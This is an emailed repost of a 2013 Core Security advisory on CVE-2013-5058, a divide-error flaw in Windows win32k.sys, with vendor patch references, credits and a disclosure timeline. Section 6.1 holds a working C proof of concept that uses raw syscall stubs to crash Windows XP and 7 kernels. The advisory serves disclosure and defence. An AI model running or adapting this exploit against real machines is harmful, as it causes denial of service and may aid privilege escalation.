--UPK2Ju7cVj1uKTgTRHQshngVl7lMugAwR
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Advisory URL:
http://www.coresecurity.com/advisories/divide-error-windows-kernel
On 11/12/2013 06:38 p.m., CORE Advisories Team wrote:
> Core Security - Corelabs Advisory
> http://corelabs.coresecurity.com/
>=20
> Divide Error in Windows Kernel
>=20
>=20
> 1. *Advisory Information*
>=20
> Title: Divide Error in Windows Kernel
> Advisory ID: CORE-2013-0807
> Advisory URL:
> http://www.coresecurity.com/advisories/divide-error-in-windows-kernel
> Date published: 2013-12-11
> Date of last update: 2013-12-11
> Vendors contacted: Microsoft
> Release mode: Coordinated release
>=20
>=20
> 2. *Vulnerability Information*
>=20
> Class: Integer overflow [CWE-190]
> Impact: Denial of service
> Remotely Exploitable: No
> Locally Exploitable: Yes
> CVE Name: CVE-2013-5058
>=20
>=20
> 3. *Vulnerability Description*
>=20
> Windows kernel is prone to a security vulnerability when executing the
> (GDI support) function 'RFONTOBJ::bTextExtent' located in 'win32k.sys'.=
> This vulnerability could be exploited by an attacker to crash the
> windows kernel by calling the user mode function 'NtGdiGetTextExtent'
> with specially crafted arguments.
>=20
> Microsoft notifies that this vulnerability may allow Elevation of
> Privilege attacks but did not provide further technical details.
>=20
>=20
> 4. *Vendor Information, Solutions and Workarounds*
>=20
> For additional information regarding affected versions, non-affected
> versions, fixes and official patches please visit:
>=20
> . Microsoft Security Bulletin MS13-101 -
> https://technet.microsoft.com/en-us/security/bulletin/ms13-101.
> . Description of the security update for Windows kernel-mode drivers=
> - http://support.microsoft.com/kb/2893984
>=20
>=20
> 5. *Credits*
>=20
> This vulnerability was discovered and researched by Nicolas Economou
> from Core Exploit Writers Team. The publication of this advisory was
> coordinated by Fernando Miranda from Core Advisories Team.
>=20
>=20
> 6. *Technical Description / Proof of Concept Code*
>=20
> The vulnerable function is 'RFONTOBJ::bTextExtent', located in the
> Windows kernel driver 'win32k.sys'. The way to call this function from
> user mode is calling the function 'NtGdiGetTextExtent'.
>=20
> The bug takes place when performing a signed division 'IDIV', the resul=
t
> does not fit in the destination and the kernel raises an 'INTEGER
> OVERFLOW' exception.
>=20
>=20
> 6.1. *Proof of Concept*
>=20
> The following PoC was compiled in VS2012 and tested against Windows XP
> and Windows 7, and it allows reproducing the vulnerability. By running
> this PoC the affected OS will crash into a blue screen.
>=20
>=20
> /-----
> # include <windows.h>
> # include <stdio.h>
>=20
> __declspec (naked) int _NtGdiSetTextJustification (HDC v1, int extra,
> int count)
> {
> // Windows XP
> __asm mov eax,0x111e =20
> __asm mov edx,0x7ffe0300
> __asm call dword ptr [edx]
> __asm ret 0x0c
> }
>=20
> __declspec (naked) int _NtGdiGetTextExtent (HDC v1, int v2, int v3, int=
> v4, int v5)
> {
> // Windows XP
> __asm mov eax,0x10cc =20
> __asm mov edx,0x7ffe0300
> __asm call dword ptr [edx]
> __asm ret 0x14
> }
>=20
> __declspec (naked) int _NtGdiSetTextJustification_W7 (HDC v1, int extra=
,
> int count)
> {
> // Windows 7
> __asm mov eax,0x1129 =20
> __asm mov edx,0x7ffe0300
> __asm call dword ptr [edx]
> __asm ret 0x0c
> }
>=20
>=20
> __declspec (naked) int _NtGdiGetTextExtent_W7 (HDC v1, int v2, int v3,
> int v4, int v5)
> {
> // Windows 7
> __asm mov eax,0x10D6 =20
> __asm mov edx,0x7ffe0300
> __asm call dword ptr [edx]
> __asm ret 0x14
> }
>=20
>=20
> int main ()
> {
> char buffer [4096];
> OSVERSIONINFO v;
> HDC hdc;
>=20
> memset(buffer, 0, 4096);
> /* Obtaining the OS version */
> memset(&v, 0, sizeof(v));
> v.dwOSVersionInfoSize =3D sizeof(v);
> GetVersionEx(&v);
> hdc =3D CreateCompatibleDC(NULL);
> /* If it's Windows XP */
> if ((v.dwMajorVersion =3D=3D 5) && (v.dwMinorVersion =3D=3D 1))
> {
> _NtGdiSetTextJustification(hdc, 0x08000000, 0xffffffff);
> _NtGdiGetTextExtent(hdc, (int) buffer, 0x11, 0x44444444,
> 0x55555555);
> }
> /* If it's Windows 7 */
> else if ((v.dwMajorVersion =3D=3D 6) && (v.dwMinorVersion =3D=3D 1)=
)
> {
> _NtGdiSetTextJustification_W7(hdc, 0x08000000, 0xffffffff);
> _NtGdiGetTextExtent_W7(hdc, (int) buffer, 0x11, 0x44444444,
> 0x55555555);
> }
> else
> {
> printf("unsupported OS\n");
> }
> return 0;
> } =20
>=20
> -----/
>=20
>=20
> 7. *Report Timeline*
>=20
> . 2013-08-12:
> Core Security Technologies notifies the MSRC of the vulnerability.
> Publication date is set for Sep 3rd, 2013.
>=20
> . 2013-08-12:
> MSRC acknowledges the receipt of the information and opens the case
> 15304 for this issue.
>=20
> . 2013-09-02:
> Core asks for a status update.
>=20
> . 2013-09-02:
> MSRC confirms that they have reproduced the issue as reported and asks
> to postpone the publication of technical details until an upcoming
> security update.
>=20
> . 2013-09-02:
> Core asks for an estimated release date.
>=20
> . 2013-09-03:
> First release date missed.
>=20
> . 2013-09-08:
> MSRC notifies that they are still investigating the root cause of this
> issue and that they will send an update when begin developing a fix.
>=20
> . 2013-09-09:
> Core notifies that the advisory publication was tentatively re-schedule=
d
> for October 8th, 2013.
>=20
> . 2013-10-08:
> Second release date missed.
>=20
> . 2013-10-15:
> Core asks for a status update.
>=20
> . 2013-10-16:
> MSRC notifies that they have reproduced the issue; however, they are
> still performing the standard variant investigation and fuzzing to
> ensure a complete fix for the issue.
>=20
> . 2013-11-04:
> MSRC notifies that they have completed the investigation and are
> currently developing a fix. Typically, developing and testing a fix is =
a
> process that takes at least 30 days.
>=20
> . 2013-11-14:
> MSRC notifies that they are currently testing a fix for this issue.
>=20
> . 2013-11-26:
> Core re-schedules the advisory publication for Dec 16th.
>=20
> . 2013-12-10:
> MSRC releases the Security Bulletin MS13-101 [1], [2] for this
> vulnerability without notify Core.
>=20
> . 2013-12-11:
> Advisory CORE-2013-0807 published.
>=20
>=20
> 8. *References*
>=20
> [1] Microsoft Security Bulletin MS13-101,
> https://technet.microsoft.com/en-us/security/bulletin/ms13-101.
> [2] Description of the security update for Windows kernel-mode drivers,=
> http://support.microsoft.com/kb/2893984.
>=20
>=20
> 9. *About CoreLabs*
>=20
> CoreLabs, the research center of Core Security Technologies, is charged=
> with anticipating the future needs and requirements for information
> security technologies. We conduct our research in several important
> areas of computer security including system vulnerabilities, cyber
> attack planning and simulation, source code auditing, and cryptography.=
> Our results include problem formalization, identification of
> vulnerabilities, novel solutions and prototypes for new technologies.
> CoreLabs regularly publishes security advisories, technical papers,
> project information and shared software tools for public use at:
> http://corelabs.coresecurity.com.
>=20
>=20
> 10. *About Core Security Technologies*
>=20
> Core Security Technologies enables organizations to get ahead of threat=
s
> with security test and measurement solutions that continuously identify=
> and demonstrate real-world exposures to their most critical assets. Our=
> customers can gain real visibility into their security standing, real
> validation of their security controls, and real metrics to more
> effectively secure their organizations.
>=20
> Core Security's software solutions build on over a decade of trusted
> research and leading-edge threat expertise from the company's Security
> Consulting Services, CoreLabs and Engineering groups. Core Security
> Technologies can be reached at +1 (617) 399-6980 or on the Web at:
> http://www.coresecurity.com.
>=20
>=20
> 11. *Disclaimer*
>=20
> The contents of this advisory are copyright (c) 2013 Core Security
> Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
> Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
> License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
>=20
>=20
> 12. *PGP/GPG Keys*
>=20
> This advisory has been signed with the GPG key of Core Security
> Technologies advisories team, which is available for download at
> http://www.coresecurity.com/files/attachments/core_security_advisories.=
asc.
>=20
>=20
--UPK2Ju7cVj1uKTgTRHQshngVl7lMugAwR
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (MingW32)
Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/
iQEcBAEBAgAGBQJSqOkBAAoJEK6bq3WCdh+HOsAH/3QGDvV2735aL0eXGUj9Uyg/
tUxB6n5atcpVgJNAyHKQ/eXiwnBdxGtP974mmiytxxrafmlBhfSzuwi22/sj6/8x
XhT8rUHFfa/I4Um+9qbX1gLWtVdWEzhgyuc5qlg2dY17LpEzp+m/Y8y7VuVQRC3/
kVa6+FURGTfexwDaKtv/LOjwZB8iXZuT4A0txN59JAft8cjjuJ3mfQv3O3ZTR9WQ
fykCkUCKnhhXJYuVKBjQfJzVkggPo8e2GU0PiOONcLivQy4ezoFDTHj2G/O9GQEL
Dbd5GOlTwY+GoBKnLeEizfQaxt1/zYu6SXtlbg0iDvmQsPElSZLFGV9LsXREh90=
=kj9x
-----END PGP SIGNATURE-----
--UPK2Ju7cVj1uKTgTRHQshngVl7lMugAwR--